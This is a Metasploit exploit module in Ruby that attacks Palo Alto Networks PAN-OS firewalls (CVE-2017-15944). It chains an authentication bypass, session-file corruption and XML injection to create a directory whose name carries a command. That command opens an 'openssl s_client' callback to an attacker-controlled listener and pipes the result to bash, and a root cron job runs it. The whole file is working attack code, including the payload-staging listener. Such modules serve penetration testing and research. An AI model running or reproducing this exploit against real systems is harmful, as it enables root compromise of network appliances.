Palo Alto Networks - 'readSessionVarsFromFile()' Session Corruption (Metasploit)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Palo Alto Networks readSessionVarsFromFile() Session Corruption',
      'Description'    => %q{
        This module exploits a chain of vulnerabilities in Palo Alto Networks products running
        PAN-OS versions prior to 6.1.19, 7.0.19, 7.1.14, and 8.0.6. This chain starts by using
        an authentication bypass flaw to to exploit an XML injection issue, which is then
        abused to create an arbitrary directory, and finally gains root code execution by
        exploiting a vulnerable cron script. This module uses an initial reverse TLS callback
        to stage arbitrary payloads on the target appliance. The cron job used for the final
        payload runs every 15 minutes by default and exploitation can take up to 20 minutes.
      },
      'Author'         => [
        'Philip Pettersson <philip.pettersson[at]gmail com>', # Vulnerability discovery
        'hdm'                                                 # Metasploit module
      ],
      'References'     => [
        ['CVE', '2017-15944'],
        ['URL', 'http://seclists.org/fulldisclosure/2017/Dec/38'],
        ['BID', '102079'],
      ],
      'DisclosureDate' => 'Dec 11 2017',
      'License'        => MSF_LICENSE,
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Privileged'     => true,
      'Payload'        => {'BadChars' => '', 'Space' => 8000, 'DisableNops' => true},
      'Targets'        => [['Automatic', {}]],
      'DefaultTarget'  => 0,
      'DefaultOptions' => {'WfsDelay' => 2}
    ))

    register_options(
      [
        Opt::RPORT(443),
        OptBool.new('SSL', [true, 'Use SSL', true]),
        OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]),
        OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ])
      ])
  end

  def exploit

    # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
    cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])

    # Start a listener
    start_listener(true)

    # Figure out the port we picked
    cbport = self.service.getsockname[2]

    # Set the base directory and the staging payload directory path name
    base_directory   = "/opt/pancfg/mgmt/logdb/traffic/1/"
    command_payload  = "* -print -exec bash -c openssl${IFS}s_client${IFS}-quiet${IFS}-connect${IFS}#{cbhost}:#{cbport}|bash ; "
    target_directory = base_directory + command_payload

    if target_directory.length > 255
      print_error("The selected payload or options resulted in an encoded command that is too long (255+ bytes)")
      return
    end

    dev_str_1 = Rex::Text.rand_text_alpha_lower(1+rand(10))
    dev_str_2 = Rex::Text.rand_text_alpha_lower(1+rand(10))
    user_id   = rand(2000).to_s

    print_status("Creating our corrupted session ID...")

    # Obtain a session cookie linked to a corrupted session file. A raw request
    # is needed to prevent encoding of the parameters injected into the session
    res = send_request_raw(
      'method' => 'GET',
      'uri'    => "/esp/cms_changeDeviceContext.esp?device=#{dev_str_1}:#{dev_str_2}%27\";user|s.\"#{user_id}\";"
    )
    unless res && res.body.to_s.index('@start@Success@end@')
      print_error("Unexpected response when creating the corrupted session cookie: #{res.code} #{res.message}")
      return
    end

    cookies = res.get_cookies
    unless cookies =~ /PHPSESSID=([a-fA-F0-9]+)/
      print_error("Unexpected cookie response when creating the corrupted session cookie: #{res.code} #{res.message} #{cookies}")
      return
    end

    create_directory_tid  = 1 + rand(1000)
    create_directory_json = JSON.dump({
      "action" => "PanDirect",
      "method" => "execute",
      "data"   => [
        Rex::Text.md5(create_directory_tid.to_s),
        "Administrator.get",
        {
          "changeMyPassword" => true,
          "template"         => Rex::Text.rand_text_alpha_lower(rand(9) + 3),
          "id"               => "admin']\" async-mode='yes' refresh='yes' cookie='../../../../../..#{target_directory}'/>\x00"
        }
      ],
      "type"   => "rpc",
      "tid"    => create_directory_tid
    })

    print_status("Calling Administrator.get to create directory under #{base_directory}...")
    res = send_request_cgi(
      'method' => 'POST',
      'uri'    => '/php/utils/router.php/Administrator.get',
      'cookie' => cookies,
      'ctype'  => "application/json",
      'data'   => create_directory_json
    )
    unless res && res.body.to_s.index('Async request enqueued')
      print_error("Unexpected response when calling Administrator.get method: #{res.code} #{res.message}")
      return
    end

    register_dirs_for_cleanup(base_directory)

    print_status("Waiting up to 20 minutes for the cronjob to fire and execute...")
    expiry = Time.at(Time.now.to_i + (60*20)).to_i
    last_notice = 0
    while expiry > Time.now.to_i && ! session_created?
      if last_notice + 30 < Time.now.to_i
        print_status("Waiting for a session, #{expiry - Time.now.to_i} seconds left...")
        last_notice = Time.now.to_i
      end
      sleep(1)
    end

    unless session_created?
      print_error("No connection received from the target, giving up.")
    end

  end

  def stage_real_payload(cli)
    print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
    cli.put(payload.encoded + "\n")
  end

  def start_listener(ssl = false)
    comm = datastore['ListenerComm']
    if comm == "local"
      comm = ::Rex::Socket::Comm::Local
    else
      comm = nil
    end

    self.service = Rex::Socket::TcpServer.create(
      'LocalPort' => datastore['CBPORT'],
      'SSL'       => true,
      'SSLCert'   => datastore['SSLCert'],
      'Comm'      => comm,
      'Context'   =>
        {
          'Msf'        => framework,
          'MsfExploit' => self,
        })

    self.service.on_client_connect_proc = Proc.new { |client|
      stage_real_payload(client)
    }

    # Start the listening service
    self.service.start
  end

  def cleanup
    super
    if self.service
      print_status("Shutting down payload stager listener...")
      begin
        self.service.deref if self.service.kind_of?(Rex::Service)
        if self.service.kind_of?(Rex::Socket)
          self.service.close
          self.service.stop
        end
        self.service = nil
      rescue ::SocketError
      end
    end
  end

  # Accessor for our TCP payload stager
  attr_accessor :service

end